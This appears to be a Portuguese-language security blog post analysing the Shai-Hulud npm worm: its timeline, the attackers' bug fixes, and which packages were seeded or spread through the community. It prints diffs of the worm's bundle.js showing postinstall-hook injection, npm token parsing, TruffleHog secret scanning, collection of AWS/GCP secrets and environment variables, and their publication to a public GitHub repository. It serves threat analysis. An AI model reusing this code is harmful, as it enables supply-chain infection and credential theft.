Aikido

Bugs em Shai-Hulud: Depurando o Deserto

Charlie EriksenCharlie Eriksen
|
#

Olá, internet, sou eu novamente, trazendo mais notícias alegres. 

Ontem, reservei um tempo para me sentar e realmente me aprofundar nas cargas úteis do Shai Hulud. E notei algo empolgante, que me levou a mergulhar fundo (ou melhor, num buraco de minhoca) na análise mais detalhada da linha do tempo do ataque. Eis o que vi:

Algo aqui não está bem...

Repara como há vários package.json e bundle.js ficheiros? Sim, isso é um erro na forma como o worm Shai Hulud se instala. Ele não substituiria o package.json e bundle.js; simplesmente adicionou outra cópia deles. Além disso, também nos fornece os carimbos de data/hora completos e o nome de utilizador do utilizador local que fez a alteração.

Também vemos várias versões DIFERENTES do worm. Isso permite-nos obter muitas informações sobre a linha do tempo dos eventos e como eles estavam a depurar as coisas ao vivo. Você sabe o que isso significa: é hora de pegar as nossas pás e começar a cavar.

Como começou o ataque?

Uma das grandes questões que tínhamos era: qual foi o primeiro compromisso? Como os invasores conseguiram que o worm começasse a se espalhar? Isso ficou claro imediatamente quando começámos a examinar os metadados dos arquivos do npm. A resposta era simples:

Os atacantes espalharam um número significativo de pacotes com o próprio malware. Provavelmente usando tokens NPM roubados do ataque Nx original. Como podemos saber? A partir dos metadados do utilizador nos arquivos. Para quem não sabe, Kali é o nome de uma distribuição Linux usada por profissionais de segurança, não por programadores comuns. Mas vemos essa impressão digital nos primeiros 49 pacotes, num total de 67 versões.

Balançar e errar

Os atacantes não tiveram sucesso inicialmente, como ficou evidente pelo facto de terem lançado várias versões de alguns pacotes. Vamos dar uma olhada em autenticação rxnt, que é o primeiro pacote malicioso que acreditamos ter sido lançado em 14/09/2025 às 17:58:50 UTC (Versão 0.0.3). A imagem no início da publicação é da versão 0.0.6, que foi a quarta versão lançada pelos atacantes. Aqui está a secção de scripts do primeiro inserido pelos atacantes package.json:

Vê o erro?

Você percebe algo estranho? O uso de letras maiúsculas em pós-instalação está errado. O i não deve ser capitalizado! Se fizermos uma comparação das duas primeiras bundle.js arquivos, podemos ver que os invasores acabaram descobrindo:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

Além de corrigir isso, os atacantes fizeram várias outras alterações. Vou fazer um favor aos atacantes e publicar o changelog para eles, já que não o incluíram:

🛠️ Melhorias

  • Módulo TruffleHog:
    • O tempo limite para o TruggleHog foi reduzido de 120 segundos para 90 segundos.
    • Corrigida uma condição de corrida ao tentar executar o TruffleHog antes do binário ser descarregado.
  • Substituiu uma referência ao roubo de credenciais do Azure pelo GCP.
  • Aumentou o número de pacotes npm que irá infetar de 10 para 20.

Claramente, os atacantes tinham a intenção de roubar credenciais do Azure, mas acabaram optando pelo GCP. E decidiram duplicar o número de pacotes para os quais o worm se espalharia.

Outro bug

Em 14/09/2025, às 20:43:42, os atacantes lançaram outro lote de pacotes, sendo o primeiro a versão 0.0.4 de autenticação rxnt com a capitalização fixa de pós-instalação. Então, cerca de 20 minutos depois, às 21:03:17 do dia 14/09/2025, vemos que eles também lançam uma versão 0.0.5 com uma mudança interessante:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

Eles alteraram o script para inserir apenas o pós-instalação script se a chave scripts existir no package.json. Parece que os atacantes estavam a preparar-se para atacar o ngx-bootstrap pacotes, o que fizeram em 15 de setembro de 2025, às 01:12. Aqui está o package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 Repare que não há scripts? Tentar executar o worm neste pacote não funcionaria. Então, eles corrigiram isso. E vemos que o pacote também foi modificado por um kali usuário:

O pacote ngx-bootstrap, também disseminado pelos atacantes.

Claramente, este pacote foi promovido pelos próprios atacantes depois de terem depurado a razão pela qual o seu worm falhou ao tentar infetar este pacote.

Mais correções

Na versão 0.0.6 de autenticação rxnt, vemos mais mudanças (Cortado um pouco para ser mais conciso). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Aqui estão algumas notas sobre a atualização:

✨ Novas funcionalidades

  • Verificação condicional do TruffleHog: Agora pode ignorar a verificação do sistema de ficheiros TruffleHog definindo o IGNORAR_TRUFA variável de ambiente. 

🛠️ Melhorias

  • Migração aprimorada do repositório: O script de migração agora remove automaticamente o .github/workflows diretório dos repositórios migrados. 
  • Repositórios públicos predefinidos: O repositório GitHub criado para armazenar os dados do sistema recolhidos agora é criado como público por predefinição, em vez de ser tornado público após ser criado como privado.
  • Verificação repoExists removida: A verificação para ver se o repositório Shai-Hulud já existe foi removida. O script agora tentará criá-lo em cada execução, contando com o comportamento do GitHub para lidar com casos em que o repositório já existe.

Primeira propagação comunitária

Com base nesta análise, a primeira propagação comunitária ocorreu através da embalagem. plugin-capacitor-healthapp versão 0.0.2 em 15 de setembro de 2025, às 04:54.

O primeiro caso de transmissão comunitária observado

É o primeiro pacote em que vemos que o arquivo tem um utilizador que não é kali

Como é que a tinycolor foi comprometida?

A cobertura inicial desta campanha centrou-se principalmente no pacote tinycolor. Vamos então analisá-lo! A primeira versão maliciosa do @ctrl/tinycolor era a versão 4.1.1, publicado em 15 de setembro de 2025, às 19:52. 

O pacote tinycolor provavelmente foi disseminado pelos atacantes.

Mas veja, outro kali! Este pacote provavelmente não foi comprometido pela disseminação comunitária, mas pelos invasores que tentaram espalhar outro pacote para ativar o worm.

Como CrowdStrike foi CrowdStrike ?

Aqui está o pacote crowdstrike versão 0.19.1, lançado em 16 de setembro de 2025, às 01:14. Observe que o utilizador kali também modifiquei isto...

CrowdStrike provavelmente foram disseminados pelos atacantes.

Isso indica que os atacantes tinham credenciais da CrowdStrike as utilizaram para iniciar outra onda de ataques.

Como o NativeScript foi comprometido?

Ao conversar com Daniel Pereira, que foi o primeiro a alertar a comunidade sobre esta campanha, tomou conhecimento dela porque observou que ela tinha afetado o ecossistema NativeScript. O primeiro pacote foi @nativescript-community/arraybuffers versão 1.1.6 em 15 de setembro de 2025, às 09:16:

Um caso claro de propagação comunitária.

Eventos importantes

Aqui está uma cronologia dos eventos significativos durante a campanha. 

Hora de lançamento (UTC) Pacote / Versão Notas
14/09/2025 17:58 rxnt-autenticação @ 0.0.3 Primeira versão maliciosa, postinstall incorretamente capitalizado
14/09/2025 20:43 rxnt-autenticação @ 0.0.4 Correção do problema de capitalização no worm
14/09/2025 21:03 rxnt-autenticação @ 0.0.5 Correção do bug que fazia com que o worm falhasse quando um ficheiro package.json ainda não continha scripts.
15/09/2025 01:12 ngx-bootstrap @ 20.0.3 Primeiro pacote ngx-bootstrap comprometido disseminado por atacantes, após a correção do bug quando um pacote não tem scripts.
15/09/2025 04:54 capacitor-plugin-healthapp @ 0.0.2 Primeira propagação comunitária detetada.
15/09/2025 09:16 @nativescript-community/arraybuffers @ 1.1.6 Primeiro pacote NativeScript comprometido através da propagação na comunidade.
15/09/2025 15:45 rxnt-authentication @ 0.0.6 Outra versão foi disseminada pelos atacantes, com mais correções para o worm.
15/09/2025 19:52 @ctrl/tinycolor @ 4.1.1 A primeira versão maliciosa do tinycolor, disseminada pelos atacantes.
16/09/2025 01:14 crowdstrike@ 0.19.1 CrowdStrike são infectados com malware por atacantes.

Para onde vamos a partir daqui?

Esta campanha Shai Hulud representa uma escalada significativa em relação ao ataque S1ngularity original, que começou com o Nx. Observamos os atacantes a fazer várias tentativas para corrigir bugs e fazer com que o worm começasse a propagar-se pelo ecossistema npm. A explicação mais lógica que encontramos é que os atacantes ficaram com as credenciais que roubaram no ataque original, esperando para usá-las no momento certo.

Assim, podemos observar que os atacantes lançaram várias rodadas de ataques ao longo de vários dias, uma vez que a sua tentativa não começou imediatamente a propagar-se com velocidade significativa. Eles não ficaram satisfeitos com a lentidão da propagação, o que foi uma grande sorte para nós. 

Mas isso levanta uma verdade incómoda: se eles ficaram com essas credenciais por várias semanas e agora têm ainda MAIS credenciais que conseguiram roubar, provavelmente não será a última vez que os veremos. Por enquanto, o worm ainda não atingiu escape necessária para se tornar verdadeiramente viral. 

Seria tolice supor que os atacantes usaram os melhores trunfos que tinham na manga, em termos das credenciais que guardavam na manga. Ainda não está claro qual é o incentivo e o motivo dos atacantes, o que sugere que esta saga ainda não terminou. Parece mais do que provável que estamos perante uma trilogia de uma história que ainda está por contar. E, neste momento, não creio que o final será feliz. 

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.